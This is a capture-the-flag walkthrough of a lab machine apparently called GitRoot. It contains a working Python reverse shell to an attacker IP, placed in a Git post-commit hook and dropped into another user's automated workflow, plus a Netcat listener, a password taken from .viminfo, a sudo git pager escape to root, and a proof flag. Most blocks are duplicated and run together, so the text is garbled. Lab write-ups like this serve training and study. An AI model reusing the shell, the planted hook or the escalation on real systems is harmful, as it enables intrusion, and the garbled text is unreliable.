/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.45.247",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
beth@GitRoot:~/.git/hooks$ chmod +x post-commit | chmod 777 post-commit
beth@GitRoot:~/.git/hooks$ cd /home/beth
beth@GitRoot:~$ 7z a shell.zip .git/
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,1 CPU AMD EPYC 7413 24-Core Processor (A00F11),ASM,AES-NI)
Scanning the drive:
2 folders, 1 file, 62 bytes (1 KiB)
Creating archive: shell.zip
Items to compress: 3
Files read from disk: 1
Archive size: 496 bytes (1 KiB)
Everything is Okbeth@GitRoot:~$ mkdir .git
beth@GitRoot:~$ cd .git
beth@GitRoot:~/.git$ mkdir hooks
beth@GitRoot:~/.git/hooks$ nano post-commit
beth@GitRoot:~/.git/hooks$ cat post-commit
#!/bin/sh
/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.45.247",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
beth@GitRoot:~/.git/hooks$ chmod +x post-commit | chmod 777 post-commit
beth@GitRoot:~/.git/hooks$ cd /home/beth
beth@GitRoot:~$ 7z a shell.zip .git/
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,1 CPU AMD EPYC 7413 24-Core Processor (A00F11),ASM,AES-NI)
Scanning the drive:
2 folders, 1 file, 62 bytes (1 KiB)
Creating archive: shell.zip
Items to compress: 3
Files read from disk: 1
Archive size: 496 bytes (1 KiB)
Everything is OkThe malicious Git repository was then archived so that it could be processed by Jen's automated workflow.
beth@GitRoot:~$ chmod 777 sh3ll.zip
beth@GitRoot:~$ ls
public sh3ll.zip
beth@GitRoot:~$ cp sh3ll.zip /home/jen/public/reposbeth@GitRoot:~$ chmod 777 sh3ll.zip
beth@GitRoot:~$ ls
public sh3ll.zip
beth@GitRoot:~$ cp sh3ll.zip /home/jen/public/reposBefore triggering the workflow, I started a Netcat listener on my Kali machine to receive the reverse shell. few movement will receive a revshell.
nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.45.247] from (UNKNOWN) [192.168.198.75] 54054
$ id
id
uid=1003(jen) gid=1003(jen) groups=1003(jen)
$nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.45.247] from (UNKNOWN) [192.168.198.75] 54054
$ id
id
uid=1003(jen) gid=1003(jen) groups=1003(jen)
$Enumeration as Jen
After gaining access as jen, I inspected the user's home directory for credentials, configuration files, and other sensitive information.
$ ls -la
ls -la
total 40
drwxr-xr-x 4 jen jen 4096 Aug 21 2020 .
drwxr-xr-x 5 root root 4096 May 26 2020 ..
lrwxrwxrwx 1 jen jen 9 May 26 2020 .bash_history -> /dev/null
-rw-r--r-- 1 jen jen 220 May 26 2020 .bash_logout
-rw-r--r-- 1 jen jen 3526 May 26 2020 .bashrc
-rw-r--r-- 1 jen jen 50 May 26 2020 .gitconfig
drwx------ 3 jen jen 4096 May 26 2020 private
-rw-r--r-- 1 jen jen 807 May 26 2020 .profile
drwx-wx-wx 3 jen jen 4096 May 26 2020 public
-rw-r--r-- 1 jen jen 75 May 26 2020 .selected_editor
-rw------- 1 jen jen 920 May 26 2020 .viminfo$ ls -la
ls -la
total 40
drwxr-xr-x 4 jen jen 4096 Aug 21 2020 .
drwxr-xr-x 5 root root 4096 May 26 2020 ..
lrwxrwxrwx 1 jen jen 9 May 26 2020 .bash_history -> /dev/null
-rw-r--r-- 1 jen jen 220 May 26 2020 .bash_logout
-rw-r--r-- 1 jen jen 3526 May 26 2020 .bashrc
-rw-r--r-- 1 jen jen 50 May 26 2020 .gitconfig
drwx------ 3 jen jen 4096 May 26 2020 private
-rw-r--r-- 1 jen jen 807 May 26 2020 .profile
drwx-wx-wx 3 jen jen 4096 May 26 2020 public
-rw-r--r-- 1 jen jen 75 May 26 2020 .selected_editor
-rw------- 1 jen jen 920 May 26 2020 .viminfoThe .viminfo file is particularly interesting because Vim can store command history and previously entered information in this file. Reviewing it revealed Jen's password, which allowed us to proceed with privilege escalation.
I then checked Jen's sudo privileges.
jen@GitRoot:~$ sudo -l
sudo -l
[sudo] password for jen: binzpbeo👁️🗨️exoe
Matching Defaults entries for jen on GitRoot:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jen may run the following commands on GitRoot:
(ALL) /usr/bin/gitjen@GitRoot:~$ sudo -l
sudo -l
[sudo] password for jen: binzpbeo👁️🗨️exoe
Matching Defaults entries for jen on GitRoot:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jen may run the following commands on GitRoot:
(ALL) /usr/bin/gitThe output reveals a critical misconfiguration: Jen can execute /usr/bin/git as root without any restriction on the arguments passed to the binary.
Privilege Escalation to Root
I used the following Git command with sudo:
jen@GitRoot:~$ sudo git -p help config
...
git config [<file-option>] [--type=<type>] [--show-origin] [-z|--null] --
get-all name [value_regex]
git config [<file-option>] [--type=<type>] [--show-origin] [-z|--null] [-
-name-only] --get-regexp name_regex [value_regex]
git config [<file-option>] [--type=<type>] [-z|--null] --get-urlmatch nam
e URL
git config [<file-option>] --unset name [value_regex]
git config [<file-option>] --unset-all name [value_regex]
git config [<file-option>] --rename-section old_name new_name
git config [<file-option>] --remove-section name
:#!/bin/bashjen@GitRoot:~$ sudo git -p help config
...
git config [<file-option>] [--type=<type>] [--show-origin] [-z|--null] --
get-all name [value_regex]
git config [<file-option>] [--type=<type>] [--show-origin] [-z|--null] [-
-name-only] --get-regexp name_regex [value_regex]
git config [<file-option>] [--type=<type>] [-z|--null] --get-urlmatch nam
e URL
git config [<file-option>] --unset name [value_regex]
git config [<file-option>] --unset-all name [value_regex]
git config [<file-option>] --rename-section old_name new_name
git config [<file-option>] --remove-section name
:#!/bin/bashThe command launches Git's help interface through a pager. From the pager, command execution can be triggered, allowing us to execute /bin/bash with the privileges inherited from sudo.
We have successfully escalated our privileges to root.
root@GitRoot:/home/jen# id
id
uid=0(root) gid=0(root) groups=0(root)root@GitRoot:/home/jen# id
id
uid=0(root) gid=0(root) groups=0(root)Finally, I accessed the root proof file:
root@GitRoot:/home/jen# cat /root/proof.txt
cat /root/proof.txt
7d8b3eaab9a6133👁️🗨️c5eaa8b46d261b4root@GitRoot:/home/jen# cat /root/proof.txt
cat /root/proof.txt
7d8b3eaab9a6133👁️🗨️c5eaa8b46d261b4Thanks for reading! I hope you found this walkthrough helpful. If you learned something new, feel free to share it with others. See you in the next write-up! 👋